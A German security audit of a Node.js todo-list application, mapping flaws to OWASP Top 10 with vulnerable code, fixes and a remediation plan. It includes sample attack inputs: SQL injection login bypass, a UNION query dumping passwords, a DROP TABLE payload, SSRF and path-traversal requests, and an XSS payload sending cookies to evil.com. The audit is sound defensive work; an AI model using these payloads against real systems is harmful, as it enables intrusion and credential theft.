Diese Analyse dokumentiert die gefundenen Sicherheitslücken in der todo-list-node Applikation und den aktuellen Stand der Umsetzung nach OWASP Top 10 (2021).
Die folgenden Maßnahmen wurden in der Anwendung umgesetzt:
- sichere Session-Verwaltung über
express-sessionmit serverseitigen Sessions statt manipulierbaren Cookies - Login-Route auf
POSTumgestellt und Passwortfeld auftype="password" - vorbereitete SQL-Statements für Login, Tasks, Search und Admin-Views
- Rollenprüfung für die Admin-Route und Auth-Checks für Search-Routen
- HTML-Escaping für Benutzerdaten und DB-Ausgaben
- Security-Header über
helmetund Rate-Limits für den Login - sensible Logs reduziert und Passwörter nicht mehr im Klartext verarbeitet
Die Änderungen wurden mit folgenden Prüfungen validiert:
node --test tests/security.test.jsnode --check app.jsnode --check login.jsnode --check edit.jsnode --check savetask.jsnode --check fw/db.jsnode --check fw/header.jsnode --check fw/security.js
Analysierte Dateien: config.js, app.js, login.js, index.js, edit.js, savetask.js, fw/header.js, fw/db.js, admin/users.js, user/index.js, search/index.js, search/search.js
config.js – Datenbankpasswort und Root-User hardcoded:
module.exports = {
host: 'm183-lb2-db',
user: 'root', // Root-Datenbankbenutzer!
password: 'Some.Real.Secr3t', // Klartext-Passwort im Code
database: 'm183_lb2'
};app.js – triviales Session-Secret:
app.use(session({
secret: 'secret', // leicht zu erraten, hardcoded
...
}));login.js – Passwortvergleich im Klartext:
if (password == db_password) { // direkter Vergleich, kein Hashing
result.valid = true;
}admin/users.js – Passwörter im HTML:
html += `...<input type='hidden' name='password' value='` + record.password + `' /></tr>`;- Credentials im Quellcode: Datenbankpasswort und Root-User in
config.js– wer Git-Zugriff hat, hat Datenbankzugriff. - Root-Datenbankbenutzer: Ein kompromittiertes System gibt vollen Zugriff auf alle Datenbanken des Servers.
- Klartext-Passwörter: Login vergleicht Passwörter direkt (
==), Passwörter sind offensichtlich unhashed in der DB gespeichert. - Session-Secret
'secret': Ermöglicht das Fälschen von Session-Tokens. - Passwörter als HTML hidden field: Alle Benutzerpasswörter sind im DOM-Inspector sichtbar.
// config.js – Umgebungsvariablen verwenden
module.exports = {
host: process.env.DB_HOST,
user: process.env.DB_USER, // dedizierter DB-User mit minimalen Rechten
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME
};
// app.js – starkes Secret aus Umgebungsvariable
app.use(session({
secret: process.env.SESSION_SECRET, // z.B. 64-stelliger Zufallsstring
resave: false,
saveUninitialized: false,
cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));
// login.js – bcrypt verwenden
const bcrypt = require('bcrypt');
// Beim Registrieren:
const hash = await bcrypt.hash(plainPassword, 12);
// Beim Login:
const match = await bcrypt.compare(plainPassword, storedHash);
if (!match) { result.msg = 'Invalid credentials'; return result; }
// admin/users.js – password aus Query entfernen
let [result] = await conn.execute(
"SELECT users.ID, users.username, roles.title FROM users " +
"INNER JOIN permissions ON users.ID = permissions.userID " +
"INNER JOIN roles ON permissions.roleID = roles.ID ORDER BY username"
);login.js – SQL Injection beim Login:
const sql = `SELECT id, username, password FROM users WHERE username='` + username + `'`;
// username kommt direkt aus req.query.usernamesavetask.js – SQL Injection in INSERT und UPDATE:
// INSERT – title, state, userid alle direkt eingebaut:
stmt = db.executeStatement(
"insert into tasks (title, state, userID) values ('" + title + "', '" + state + "', '" + userid + "')"
);
// UPDATE – taskId und Felder unvalidiert:
stmt = db.executeStatement(
"update tasks set title = '" + title + "', state = '" + state + "' where ID = " + taskId
);
// Auch der ID-Check davor:
let stmt = await db.executeStatement(
'select ID, title, state from tasks where ID = ' + taskId
);fw/header.js:
"...where userid = " + id // id aus req.cookies.useriduser/index.js:
'select ID, title, state from tasks where UserID = ' + req.cookies.useridedit.js:
'select ID, title, state from tasks where ID = ' + taskId // taskId aus req.query.idsearch/search.js – zwei Parameter gleichzeitig:
"select ID, title, state from tasks where userID = " + userid +
" and title like '%" + terms + "%'"In allen sechs Dateien werden Benutzereingaben direkt in SQL-Queries eingebaut. Besonders kritisch ist login.js – ein SQL-Injection-Angriff auf den Login ermöglicht das vollständige Umgehen der Authentifizierung.
Beispiel-Angriffe:
# Login umgehen:
username: admin'--
→ SQL: WHERE username='admin'-- ' (Rest auskommentiert, kein Passwort nötig)
# Alle Passwörter via UNION auslesen:
terms: %' UNION SELECT id, username, password FROM users --
# Beliebige Daten beim Speichern einschleusen:
title: test', 'open', 1); DROP TABLE tasks; --
// fw/db.js – executeStatement mit Prepared Statements
async function executeStatement(statement, params = []) {
let conn = await connectDB();
const [results] = await conn.execute(statement, params);
return results;
}
// login.js
const sql = 'SELECT id, username, password FROM users WHERE username = ?';
const [results] = await dbConnection.execute(sql, [username]);
// savetask.js
// INSERT:
await db.executeStatement(
"INSERT INTO tasks (title, state, userID) VALUES (?, ?, ?)",
[title, state, req.session.userid]
);
// UPDATE:
await db.executeStatement(
"UPDATE tasks SET title = ?, state = ? WHERE ID = ? AND userID = ?",
[title, state, taskId, req.session.userid] // + Ownership-Check!
);
// edit.js
await conn.execute(
'SELECT ID, title, state FROM tasks WHERE ID = ? AND UserID = ?',
[taskId, req.session.userid]
);
// search/search.js
await db.executeStatement(
"SELECT ID, title, state FROM tasks WHERE userID = ? AND title LIKE ?",
[req.session.userid, '%' + terms + '%']
);app.js – fehlerhafte Session-Prüfung:
function activeUserSession(req) {
// prüft nur ob Cookie 'username' gesetzt ist – jeder kann den selbst setzen!
return req.cookies !== undefined
&& req.cookies.username !== undefined
&& req.cookies.username !== '';
}app.js – Admin-Route ohne Rollenprüfung:
app.get('/admin/users', async (req, res) => {
if(activeUserSession(req)) { // nur Login-Check, kein Admin-Check!
let html = await wrapContent(await adminUser.html, req);
res.send(html);
}
});app.js – Search-Routen ohne jeglichen Auth-Check:
app.post('/search', async (req, res) => {
let html = await search.html(req); // kein Auth-Check!
res.send(html);
});
app.get('/search/v2/', async (req, res) => {
let result = await searchProvider.search(req); // kein Auth-Check!
res.send(result);
});savetask.js – kein Ownership-Check beim Update:
// UPDATE ohne zu prüfen ob der Task dem eingeloggten Benutzer gehört:
stmt = db.executeStatement(
"update tasks set title = '" + title + "', state = '" + state + "' where ID = " + taskId
);edit.js – kein Ownership-Check:
'select ID, title, state from tasks where ID = ' + taskId
// kein "AND UserID = ?" → jeder kann jeden Task aufrufensearch/search.js – IDOR:
let userid = req.query.userid; // Angreifer setzt ?userid=2 → fremde Tasks lesbaractiveUserSession()ist unsicher: Prüft nur einen Cookie – jeder kannusername=irgendwasselbst setzen.- Admin ohne Rollenprüfung:
/admin/usersist für jeden eingeloggten Benutzer aufrufbar. - Search komplett ungeschützt: Beide Search-Routen haben keinen Login-Check.
- IDOR in edit.js und savetask.js: Tasks anderer Benutzer können gelesen und überschrieben werden.
- IDOR in search:
useridaus Request-Parameter statt Session.
// app.js – korrekte Session-Prüfung
function activeUserSession(req) {
return req.session && req.session.userid;
}
// Middleware
function requireAuth(req, res, next) {
if (!req.session || !req.session.userid) return res.redirect('/login');
next();
}
function requireAdmin(req, res, next) {
if (!req.session || req.session.roleid !== 1) return res.status(403).send('Forbidden');
next();
}
// Routen absichern
app.get('/admin/users', requireAuth, requireAdmin, adminHandler);
app.post('/search', requireAuth, searchHandler);
app.get('/search/v2/', requireAuth, searchProviderHandler);
// savetask.js – Ownership-Check
await db.executeStatement(
"UPDATE tasks SET title = ?, state = ? WHERE ID = ? AND userID = ?",
[title, state, taskId, req.session.userid]
);
// search/search.js – userid aus Session
const userid = req.session.userid;login.js – Anmeldedaten per GET übertragen:
// Formular mit method="get":
<form id="form" method="get" action="/login">
// → Passwort landet in der URL:
// http://localhost/login?username=admin&password=geheim123
// → In Browser-History, Server-Logs, Proxy-Logs gespeichert!login.js – Passwortfeld als Klartext:
<input type="text" class="form-control size-medium" name="password" id="password">
// type="text" statt type="password" → Passwort sichtbar beim Eintippenlogin.js – startUserSession() setzt nur Cookies:
function startUserSession(res, user) {
res.cookie('username', user.username); // unsigniert, manipulierbar
res.cookie('userid', user.userid); // unsigniert, manipulierbar
res.redirect('/');
// Keine echte Session, kein httpOnly, kein secure
}app.js – Session-Konfiguration unsicher:
app.use(session({
secret: 'secret', // trivial
resave: true, // unnötige Schreibvorgänge
saveUninitialized: true // Session-Fixation möglich
// Kein httpOnly, kein secure, kein sameSite!
}));app.js – Logout unvollständig:
app.get('/logout', (req, res) => {
req.session.destroy();
res.cookie('username', ''); // leer setzen statt löschen
res.cookie('userid', '');
res.redirect('/login');
// Kein clearCookie(), kein sicheres Invalidieren
});- Passwort wird per GET-Request übermittelt und landet in URLs, Browser-History und Server-Logs.
- Passwortfeld
type="text"zeigt das Passwort beim Eintippen an. - Nach dem Login werden nur unsignierte Cookies gesetzt – kein serverseitiger Session-State.
- Session-Config ohne
httpOnly/secure→ Cookies per JavaScript lesbar, auch über HTTP. saveUninitialized: trueermöglicht Session-Fixation.- Logout invalidiert die Session nicht korrekt.
// login.js – Formular auf POST umstellen
<form id="form" method="post" action="/login">
<input type="password" name="password" id="password"> // type="password"
// login.js – startUserSession() auf echte Session umstellen
function startUserSession(req, user) {
req.session.regenerate(() => { // neue Session-ID nach Login (fixation prevention)
req.session.userid = user.userid;
req.session.username = user.username;
req.session.roleid = user.roleid;
});
}
// app.js – sichere Session-Konfiguration
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));
// app.js – korrekter Logout
app.get('/logout', (req, res) => {
req.session.destroy(() => {
res.clearCookie('connect.sid');
res.redirect('/login');
});
});async function getHtml(req) {
let provider = req.body.provider; // vom Client kontrollierbar
let terms = req.body.terms; // vom Client kontrollierbar
let userid = req.body.userid; // vom Client kontrollierbar
// URL wird vollständig aus Client-Daten zusammengebaut:
let theUrl = 'http://localhost:3000' + provider + '?userid=' + userid + '&terms=' + terms;
let result = await callAPI('GET', theUrl, false);
return result;
}Der provider-Pfad, userid und terms kommen alle aus dem Request-Body (vom Client) und werden ohne Validierung in eine interne HTTP-Anfrage eingebaut. Ein Angreifer kann:
- Pfad-Traversal:
provider = /admin/users→ interne Admin-Seite abrufen - Parameter-Injection:
terms = foo&newparam=injected→ zusätzliche Parameter einschleusen - Interne Endpunkte ansprechen:
provider = /../../../etc/passwdoder interne Services - Auth-Bypass: Da der interne Aufruf von
localhostkommt, könnten intern ungeschützte Routen angesprochen werden
Angriffs-Beispiel:
POST /search
provider=/admin/users&terms=x&userid=1
→ theUrl = http://localhost:3000/admin/users?userid=1&terms=x
→ gibt die komplette Admin-Benutzerliste zurück, ohne Admin-Rechte zu benötigen
async function getHtml(req) {
// provider nie vom Client akzeptieren – serverseitig hardcoden
const provider = '/search/v2/';
const terms = req.body.terms;
const userid = req.session.userid; // aus Session, nicht aus Request
// Eingaben validieren
if (!terms || typeof terms !== 'string' || terms.length > 100) {
return 'Invalid search terms';
}
// URL sicher zusammenbauen mit encodeURIComponent
const params = new URLSearchParams({ userid, terms });
const theUrl = 'http://localhost:3000' + provider + '?' + params.toString();
let result = await callAPI('GET', theUrl, false);
return result;
}index.js – Username aus Cookie direkt im HTML:
return `<h2>Welcome, ` + req.cookies.username + `!</h2>` + taskListHtml + ...
// Cookie-Wert wird unescaped ins HTML eingebautadmin/users.js:
html += `<tr><td>` + record.ID + `</td><td>` + record.username + `</td>...`;user/index.js:
html += `<td class="wide">` + row.title + `</td>`;
html += `<a href="edit?id=` + row.ID + `">edit</a>`;edit.js – DB-Wert im Input-Attribut:
html += `...<input type="text" ... value="` + title + `">`;search/search.js – via jQuery .html() eingefügt:
result += row.title + ' (' + row.state + ')<br />';
// Client: $("#result").html(data); ← interpretiert HTMLAlle Datenbankwerte und Cookie-Inhalte werden ohne HTML-Escaping ausgegeben. Besonders der Username in index.js ist ein direkter Angriffspunkt: Ein Angreifer der sich mit <script>document.location='https://evil.com?c='+document.cookie</script> als Benutzername registriert, stiehlt die Cookies aller Benutzer.
// fw/escape.js – zentrale Hilfsfunktion
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
module.exports = escapeHtml;
// index.js
return `<h2>Welcome, ${escapeHtml(req.session.username)}!</h2>` + taskListHtml;
// user/index.js
html += `<td>${escapeHtml(row.title)}</td>`;
html += `<a href="edit?id=${escapeHtml(row.ID)}">edit</a>`;
// edit.js
html += `<input type="text" value="${escapeHtml(title)}">`;
// search/index.js – .text() statt .html()
$("#result").text(data);// login.js – loggt Passwörter aus der Datenbank!
console.log(results); // results enthält username + password aus der DB
// login.js – loggt sensitive Session-Daten
console.log('login valid... start user session now for userid ' + user.userid);
// app.js – loggt alle Cookies inkl. Session-ID!
console.log('in activeUserSession');
console.log(req.cookies); // Session-ID im Log → Session-Hijacking möglich
// fw/header.js
console.log(stmt); // Datenbankzeilen mit Benutzer- und Rollendaten
// user/index.js
console.log(result); // alle Tasks des Benutzers
// edit.js
console.log(req.query); // URL-Parameter
// fw/db.js
console.error('Error connecting to database:', error); // Stack-Trace mit DB-Detailslogin.jsloggt das Passwort aus der Datenbank im Klartext ins Server-Log.app.jsloggtreq.cookies– darin steckt die Session-ID. Wer Log-Zugriff hat, kann Sessions stehlen.- DB-Fehler-Traces geben Informationen über Server-Struktur preis.
- Gleichzeitig fehlt sinnvolles Sicherheits-Logging: fehlgeschlagene Login-Versuche werden nicht gezählt, kein Brute-Force-Schutz, keine Alerting bei verdächtigen Aktivitäten.
// login.js – nie Passwörter loggen
// console.log(results); ← entfernen
// app.js – nie Cookies loggen
// console.log(req.cookies); ← entfernen
// Sinnvolles Security-Logging einführen:
const winston = require('winston');
const logger = winston.createLogger({ level: 'info', ... });
// Fehlgeschlagene Logins loggen (ohne Passwort):
logger.warn(`Failed login attempt for username: ${username} from IP: ${req.ip}`);
// Brute-Force-Schutz:
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
app.post('/login', loginLimiter, loginHandler);login.js – User Enumeration durch unterschiedliche Fehlermeldungen:
if(results.length > 0) {
if (password == db_password) {
result.valid = true;
} else {
result.msg = 'Incorrect password'; // ← verrät: Username existiert!
}
} else {
result.msg = 'Username does not exist'; // ← verrät: Username ungültig!
}login.js – Passwort per GET, landet in Server-Logs:
// Express loggt standardmässig alle Requests:
// GET /login?username=admin&password=geheim123 200 OK
// → Passwort steht im Server-Logapp.js – kein HTTPS erzwungen, kein Security-Header:
// Keine Helmet-Middleware
// Keine CSP (Content Security Policy)
// Keine HSTS-Header
// Kein X-Frame-Options
app.listen(PORT, () => { console.log(`Server is running on http://localhost:${PORT}`); });- User Enumeration: Unterschiedliche Fehlermeldungen erlauben es, gültige Benutzernamen zu erraten.
- Passwort in Server-Logs: GET-Request mit Passwort wird von Express standardmässig geloggt.
- Fehlende Security-Header: Kein CSP, kein HSTS, kein X-Frame-Options → XSS einfacher ausnutzbar, Clickjacking möglich.
// login.js – generische Fehlermeldung
result.msg = 'Invalid username or password'; // immer gleich
// app.js – Helmet für Security-Header
const helmet = require('helmet');
app.use(helmet()); // setzt CSP, HSTS, X-Frame-Options, etc. automatisch
// Formular auf POST umstellen verhindert Passwort im Server-Log<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.1/jquery.validate.min.js"></script>Bestätigt durch npm audit beim Container-Start:
14 vulnerabilities (6 low, 2 moderate, 4 high, 2 critical)
- jQuery 3.4.0 hat CVE-2019-11358 (Prototype Pollution) und weitere Schwachstellen.
- 2 kritische Schwachstellen in den Node-Abhängigkeiten.
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.20.0/jquery.validate.min.js"></script>npm audit fix && npm update| # | OWASP Kategorie | Schweregrad | Betroffene Dateien |
|---|---|---|---|
| 1 | A02 – Hardcoded Credentials, Klartext-Passwörter, schwaches Secret | 🔴 Kritisch | config.js, app.js, login.js, admin/users.js |
| 2 | A03 – SQL Injection (6 Stellen) | 🔴 Kritisch | login.js, savetask.js, fw/header.js, user/index.js, edit.js, search/search.js |
| 3 | A01 – Broken Access Control / IDOR | 🔴 Kritisch | app.js, savetask.js, edit.js, search/search.js |
| 4 | A07 – Cookie-Auth, unsichere Session, GET-Login, Passwortfeld sichtbar | 🔴 Kritisch | login.js, app.js, fw/header.js |
| 5 | A10 – SSRF via manipulierbarer Provider-URL | 🔴 Kritisch | search/index.js |
| 6 | A03 – XSS (5 Stellen, inkl. jQuery .html()) | 🟠 Hoch | index.js, admin/users.js, user/index.js, edit.js, search/search.js |
| 7 | A06 – Veraltete Komponenten (jQuery 3.4.0, 2 kritische npm-CVEs) | 🟠 Hoch | HTML-Header, package.json |
| 8 | A09 – Passwörter & Session-IDs in Logs, fehlendes Security-Logging | 🟡 Mittel | login.js, app.js, fw/header.js, user/index.js |
| 9 | A05 – User Enumeration, fehlende Security-Header, kein HTTPS | 🟡 Mittel | login.js, app.js |
- Sofort: SQL Injection in allen 6 Stellen → Prepared Statements mit
conn.execute() - Sofort: Credentials aus Code entfernen → Umgebungsvariablen (
.env) - Sofort: Passwörter hashen mit
bcrypt(Faktor 12) - Sofort: Login auf POST umstellen, Passwortfeld auf
type="password" - Sofort: Echte Session-Verwaltung einführen (
express-sessionkorrekt konfiguriert), Cookie-Auth abschaffen - Sofort: SSRF beheben –
providerserverseitig hardcoden,useridaus Session - Kurzfristig: Admin-Route mit Rollenprüfung absichern; Search-Routen mit Auth versehen
- Kurzfristig: Ownership-Checks in
edit.jsundsavetask.js - Kurzfristig: HTML-Escaping für alle DB-Ausgaben und Cookie-Werte;
.text()statt.html() - Kurzfristig: Generische Login-Fehlermeldung (User Enumeration verhindern)
- Kurzfristig:
helmeteinbinden für Security-Header (CSP, HSTS, X-Frame-Options) - Mittelfristig:
console.log(req.cookies)undconsole.log(results)(Passwörter!) entfernen - Mittelfristig: Brute-Force-Schutz auf Login-Route (
express-rate-limit) - Mittelfristig: jQuery & npm-Pakete aktualisieren (
npm audit fix)